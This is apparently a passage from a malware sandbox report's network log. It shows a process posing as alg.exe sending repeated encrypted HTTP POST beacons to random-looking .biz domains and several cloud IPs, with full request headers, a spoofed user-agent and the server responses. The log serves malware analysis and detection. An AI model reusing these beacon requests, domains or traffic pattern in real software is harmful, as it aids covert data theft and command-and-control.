Oct 28, 2024 16:51:12.522211075 CET	360	OUT	POST /yqjotihouwfthlkr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yauexmxk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:12.522242069 CET	778	OUT	Data Raw: 27 ab e4 16 5c a8 57 c5 fe 02 00 00 85 f8 20 2e 2a 07 40 b5 b1 11 5e 9f 7f e7 7f 0b a4 9b 5d 82 4d 36 88 8d a8 c2 2a 1d cc b5 6d 5a 0a 4e fb 88 53 f6 1a 05 f1 7d 74 00 06 93 3d fc 78 63 27 8b d7 7c 95 63 90 5d be 88 d4 c3 42 63 f1 14 e0 c0 a1 1f Data Ascii: '\W .@^]M6mZNS}t=xc'\|c]Bc583l6l\e3oZ-*r)l&']%/.Dig4=ie58vX\d=.fm'#VbyE6W9}G(-KxjO#aRp$
Oct 28, 2024 16:51:13.197910070 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=12406b6a2ea71b24657099ea48943793\|155.94.241.188\|1730130673\|1730130673\|0\|1\|0; path=/; domain=.yauexmxk.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50014	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:13.852926970 CET	352	OUT	POST /oukjvuscvd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: iuzpxe.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:13.852967024 CET	778	OUT	Data Raw: 18 07 48 87 37 92 2d 88 fe 02 00 00 09 d0 ca e3 31 a3 58 44 7a ca c8 92 d6 e1 b0 70 48 9f ed c8 69 58 ac 2f c7 5f 40 de df 24 95 e9 41 8b 20 ad 64 8e ee 58 b6 10 4a 8c d8 3b 4d 5a ce f9 fb 47 d4 58 19 22 77 d0 ab 1d 60 57 20 9e a0 21 ef 90 b4 c5 Data Ascii: H7-1XDzpHiX/_@$A dXJ;MZGX"w`W !+wd.64s1TC$7Z52uxQJ>/qUmdmK$n\W2-jn_s7RM0%"4UGzW[d4TBNPmE;\>
Oct 28, 2024 16:51:15.280266047 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b57fab398cf5da72a6d4a90829302016\|155.94.241.188\|1730130675\|1730130675\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50015	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:15.481921911 CET	348	OUT	POST /ohp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: sxmiywsfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:15.481982946 CET	778	OUT	Data Raw: d2 38 e7 2b 97 1a f2 32 fe 02 00 00 66 48 60 a6 b4 9c 14 40 a7 9e 6a 93 4d 55 e3 19 08 d5 c1 38 3a 88 dc 5c 2b 0e 3b 89 e1 d1 75 9d f9 7b a8 cf 30 2a 87 89 28 8c 4c 56 7a 3f 1a 29 7a 89 30 63 e6 0d 34 89 b2 c2 30 a8 90 ad 6a ed 98 a5 fd 64 1b ff Data Ascii: 8+2fH`@jMU8:\+;u{0*(LVz?)z0c40jd=K8((]Gmz^mlqI05jln}olZlLk{3lQ7Qx-0OF${0;M"PCdV0to^Me?xg<WKZV
Oct 28, 2024 16:51:16.914385080 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=df06495c9c883e14e3ae024f40910d01\|155.94.241.188\|1730130676\|1730130676\|0\|1\|0; path=/; domain=.sxmiywsfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50017	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:17.136723042 CET	347	OUT	POST /ava HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vrrazpdh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:17.136785030 CET	778	OUT	Data Raw: f2 f8 c3 bb fe 22 9d 63 fe 02 00 00 8c 8d be 2a d5 02 8b db 5b bf 45 cc e6 0e 1a ac ad 53 c0 bd 0a fc c8 76 d3 0c c5 0d 48 9e d0 8e 6f 85 c6 6a 42 86 1d 18 8d 45 89 f2 07 d3 67 d6 ba d8 f6 5b 1d ed f0 2d ef b8 f7 4a f6 e5 eb b6 25 75 9a c9 20 dc Data Ascii: "c*[ESvHojBEg[-J%u /y\|N 3:sc;Ui%W+O`#C]STz>&>Q<3K&A2U0$dwu:Q-OaDgg.crkl;=
Oct 28, 2024 16:51:19.021253109 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=de4ecc2c75d0b1e7dde0b4b734f99884\|155.94.241.188\|1730130677\|1730130677\|0\|1\|0; path=/; domain=.vrrazpdh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:51:19.022437096 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=de4ecc2c75d0b1e7dde0b4b734f99884\|155.94.241.188\|1730130677\|1730130677\|0\|1\|0; path=/; domain=.vrrazpdh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:51:19.023762941 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=de4ecc2c75d0b1e7dde0b4b734f99884\|155.94.241.188\|1730130677\|1730130677\|0\|1\|0; path=/; domain=.vrrazpdh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50018	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:19.114883900 CET	349	OUT	POST /xmqlmgb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ftxlah.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:19.114939928 CET	778	OUT	Data Raw: 44 1b df 69 3c a1 44 92 fe 02 00 00 82 7f 0a 74 1d 84 e6 c1 c3 9a 59 17 ad df 73 e3 b0 78 bd c0 b3 48 f2 5e e8 25 be 69 ac bc 6f 02 36 ce 2e 21 ec 0b ae ee 7c 22 24 c2 e9 e0 d1 c5 a9 03 66 2e 98 2d cd 83 10 83 83 66 96 54 f7 12 ca 2a 3c 4e 22 67 Data Ascii: Di<DtYsxH^%io6.!\|"$f.-fT<N"gQoFBp"OU%#Sko{czuh%v)Gh(#g4AV_~k[^TbuC~oB}EBq"}B'5u_^&mT\q Qoqu %3
Oct 28, 2024 16:51:20.666467905 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cbfd2d820016f0c892f4b27ae6c5ed5e\|155.94.241.188\|1730130680\|1730130680\|0\|1\|0; path=/; domain=.ftxlah.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50019	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:20.711174965 CET	345	OUT	POST /os HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: typgfhb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:20.711263895 CET	778	OUT	Data Raw: 65 f4 be 2e ea 3d 9c ab fe 02 00 00 80 24 45 f7 82 fe c0 0f e1 22 b2 d1 f3 f4 b0 c8 e1 c6 34 d9 7a a8 4d f8 1f b7 b2 e8 f5 a5 e8 ac 12 31 d2 f5 8f 25 73 1a fd b3 f9 f8 39 08 aa 7a 0b 9a f7 ea da bd 47 f7 ab c0 16 9c 81 89 a9 4a 26 52 26 63 31 14 Data Ascii: e.=$E"4zM1%s9zGJ&R&c1<4fOP8i![aFW6ztJ&?HG\c(LDUM<<i#Ecw(wu/BL$xS>evixo T+pQfA[G~`UG
Oct 28, 2024 16:51:22.141578913 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a06737c0bbfe46918bf2ee61305e1177\|155.94.241.188\|1730130681\|1730130681\|0\|1\|0; path=/; domain=.typgfhb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50020	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:22.354965925 CET	347	OUT	POST /rwiegx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: esuzf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:22.354965925 CET	778	OUT	Data Raw: 85 b5 9a bd 52 46 47 db fe 02 00 00 4e 35 c5 7a e1 bf d6 19 56 8f 7d a7 f2 dc 93 39 47 fa b5 26 c9 64 d4 dc 6f d0 6b 14 36 cf d8 65 a7 1e 2a 12 f4 6c 81 e1 98 42 e1 ec a4 b5 5f 82 72 0c 77 74 7e c0 c3 59 39 44 e5 17 1d 36 f3 e1 c4 e7 03 02 59 20 Data Ascii: RFGN5zV}9G&dok6elB_rwt~Y9D6Y %\N"2+V1MT-oVo1GUxuxY4uJSvvo8--(4&(>SSC#c oxw$3o\]%cO$+_&EB
Oct 28, 2024 16:51:23.198287964 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=31f5aaf10675ccea18e9f158b032ed9e\|155.94.241.188\|1730130683\|1730130683\|0\|1\|0; path=/; domain=.esuzf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50021	3.94.10.34	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:23.225449085 CET	359	OUT	POST /vrhdofwiluexay HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gvijgjwkh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:23.225483894 CET	778	OUT	Data Raw: ae 6d c8 65 36 b6 8a 86 fe 02 00 00 1b 81 4b cc 10 fc 34 82 3f 41 18 da 5b b8 7c dd 47 59 af a9 3d 1e d8 c0 65 0c 33 08 af 4d 80 bc 10 b9 80 47 dd bd 05 75 e3 05 ef 15 68 fd 9f 97 10 d2 10 d8 69 b0 c4 24 59 ca d8 73 ec 26 e5 97 02 fe 35 32 47 69 Data Ascii: me6K4?A[\|GY=e3MGuhi$Ys&52Gi0ZjQj?mi;8j{RMb2^CXFMw?X^m\s>6:SgKRII9Cd\|C06?'@EzGsMc@qvf5m
Oct 28, 2024 16:51:23.939027071 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d7bef593e641c40cb5cd6ad8565e0baf\|155.94.241.188\|1730130683\|1730130683\|0\|1\|0; path=/; domain=.gvijgjwkh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50022	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:24.197026968 CET	355	OUT	POST /oomorpsdyukh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qpnczch.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:24.197052956 CET	778	OUT	Data Raw: 0b d3 76 cc 7d ff a7 55 fe 02 00 00 61 c6 bb 6e c1 7b 2e d4 3d f6 5b 69 3f b5 ab 77 e1 91 40 92 5f 0b 6f 91 71 b5 1d 3a b2 b0 51 f9 ea 02 ce 34 da 63 91 77 d4 4e 3e bf 5a a3 18 a9 9a 9d b4 5f 61 b9 d7 90 ee ea 22 8f a2 f9 7b e8 db 3f 2e 84 ee a0 Data Ascii: v}Uan{.=[i?w@_oq:Q4cwN>Z_a"{?.FXu/l_hOB*m5?#Zzjo7+8M-ViO#0H-#JXPa6.u$0?+q#42zdpI@k
Oct 28, 2024 16:51:25.039685965 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8f48227fd87f84ed307ae474cf87c19e\|155.94.241.188\|1730130684\|1730130684\|0\|1\|0; path=/; domain=.qpnczch.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50023	3.254.94.185	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:25.065527916 CET	342	OUT	POST /m HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: brsua.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:25.065555096 CET	778	OUT	Data Raw: 34 8a a4 73 62 70 e9 ff fe 02 00 00 65 71 14 b8 03 6d d2 9c a7 24 15 7c 55 d0 a3 7c 6c 7c d9 f4 7c 86 85 63 9f eb 63 9b 66 07 1f cf 43 fd a7 50 58 f5 cf ad ef 13 5e 18 28 9c 6c 63 d8 e1 df 56 9d ed 03 2f a7 d4 49 f2 11 81 a0 0c 3c 75 95 96 c1 ac Data Ascii: 4sbpeqm$\|U\|l\|\|ccfCPX^(lcV/I<u"_b.v@<5J%c`Tm+^mY/N]YOG q_ QP[7x$$wJ^_NFF0"-pu4tY?F:P1Ce[[\|7dM^t6 869\
Oct 28, 2024 16:51:26.040486097 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0182ec542ccc986bc48b61aad71e0085\|155.94.241.188\|1730130685\|1730130685\|0\|1\|0; path=/; domain=.brsua.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50024	85.214.228.140	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:26.085664034 CET	346	OUT	POST /og HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:26.085680008 CET	778	OUT	Data Raw: f6 81 8f c5 b0 3a ec 54 fe 02 00 00 45 05 68 c7 ce 7e c6 f9 80 60 d7 6a c7 57 3c 84 f1 3d af 8d 4f 00 b2 12 ea 02 32 f0 df 82 75 40 f8 69 18 04 e7 b5 a8 30 18 24 f7 36 c8 00 60 8e d1 78 85 b6 fa c9 2d d4 fa b6 b5 ed 60 04 c0 45 4e 31 b5 b6 4e df Data Ascii: :TEh~`jW<=O2u@i0$6`x-`EN1N8xrvn,lnS.w}cLD#Kv/]-dPSL)EGCJGP{R9Goa.[Zr<&O~eds`79'?N 8=Lh
Oct 28, 2024 16:51:26.957945108 CET	161	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.2 Date: Mon, 28 Oct 2024 15:51:26 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20
Oct 28, 2024 16:51:26.958076000 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50025	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:27.002204895 CET	348	OUT	POST /qmncq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oflybfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:27.002233982 CET	778	OUT	Data Raw: b9 8f 7d 4c 46 97 9c 91 fe 02 00 00 30 c1 32 03 7e 80 8a 7d 79 17 3d b3 e5 d0 b1 0a c2 d6 b3 4b ba 0b 01 f1 ef d6 67 78 64 b2 38 8b 30 15 2f 68 84 f7 21 0e d7 83 f7 5e 50 fb e8 60 4c 19 49 f1 12 cf ec 38 5b 7e 41 14 4b 81 4c eb 73 0e b3 03 ad 3e Data Ascii: }LF02~}y=Kgxd80/h!^P`LI8[~AKLs>B!~$^,S\[CiXJ]\GN.GWTmH?)ueD$S%X))d83pZqeLf}~^/"nJw4Lj
Oct 28, 2024 16:51:28.444619894 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a84a75e2649846174081033305746396\|155.94.241.188\|1730130688\|1730130688\|0\|1\|0; path=/; domain=.oflybfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50026	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:28.466916084 CET	348	OUT	POST /iboogqv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yhqqc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:28.467176914 CET	778	OUT	Data Raw: 76 f0 21 5c 33 45 bb 0a fe 02 00 00 40 a2 1d 21 6a 1c 02 8e 48 bf cb 4f bb 24 c2 ef 5b 20 3c 94 70 c3 ad 0a 91 30 fe 4e 33 fa cb e6 48 3c 32 5e 39 04 72 6d 86 8d a9 58 1d 07 bd 0a 0f ba 52 cc 69 91 ac 32 36 cf 3c 4a 5d 32 d0 b1 46 b8 a0 d5 cb e7 Data Ascii: v!\3E@!jHO$[ <p0N3H<2^9rmXRi26<J]2FD B@Euju\p&Aq8wV#b423fZDr)r1aMg4R-J \M@KK(Qv&OUw~kFrZ\>$'2jz(
Oct 28, 2024 16:51:29.299953938 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b694acb1b35dc654f2824eff545a7bb9\|155.94.241.188\|1730130689\|1730130689\|0\|1\|0; path=/; domain=.yhqqc.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50027	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:29.680797100 CET	353	OUT	POST /pcwhdleqsuu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mnjmhp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:29.680833101 CET	778	OUT	Data Raw: ff d7 82 18 03 ea 30 9d fe 02 00 00 34 2d 56 a7 21 07 52 57 64 f6 61 30 11 02 d9 0d b1 0c a6 d6 94 9c 40 6e 64 b3 e8 7c 7f 2b 82 53 12 e9 6d 2a 52 60 85 bd b7 c4 ff 1d 77 f0 03 c5 b3 1f b6 e2 87 48 f8 8a 97 a1 26 98 66 9e 6b 5b 04 6e 42 bb 35 db Data Ascii: 04-V!RWda0@nd\|+SmR`wH&fk[nB5u<Lw!L6:xO\^heL@Pmze(qa\gX1inX5wt@.PJ0i1"NZ#Ye5Z#-cy^!`e'e
Oct 28, 2024 16:51:31.090712070 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=efe4555ddffce5c8d37a0630839d1a55\|155.94.241.188\|1730130690\|1730130690\|0\|1\|0; path=/; domain=.mnjmhp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50028	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:31.147864103 CET	353	OUT	POST /xcibcauw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: opowhhece.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:31.147901058 CET	778	OUT	Data Raw: 57 a8 e9 3e e9 18 69 90 fe 02 00 00 8e 1c 34 0c 99 d2 15 21 4c d4 a8 39 c3 d0 21 c9 ab 7c b2 21 d8 5b cd 33 27 ba fc c9 fd 78 5f 74 dc 6d a4 4e fa 59 75 fe 99 36 69 f0 d0 e1 89 ba e8 55 6a 7a 7c d6 14 1a 6c c5 73 4a f2 8c db 32 28 9e 5e ca 06 9f Data Ascii: W>i4!L9!\|![3'x_tmNYu6iUjz\|lsJ2(^l\|udO_ 3n{@%YKE\|TtjpK^ZrHapq_@"kw"Bg&'o/)970_Ipk3'E]~!VCf
Oct 28, 2024 16:51:31.799316883 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=21cc95fdfed95677658cce985fb2dfc7\|155.94.241.188\|1730130691\|1730130691\|0\|1\|0; path=/; domain=.opowhhece.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
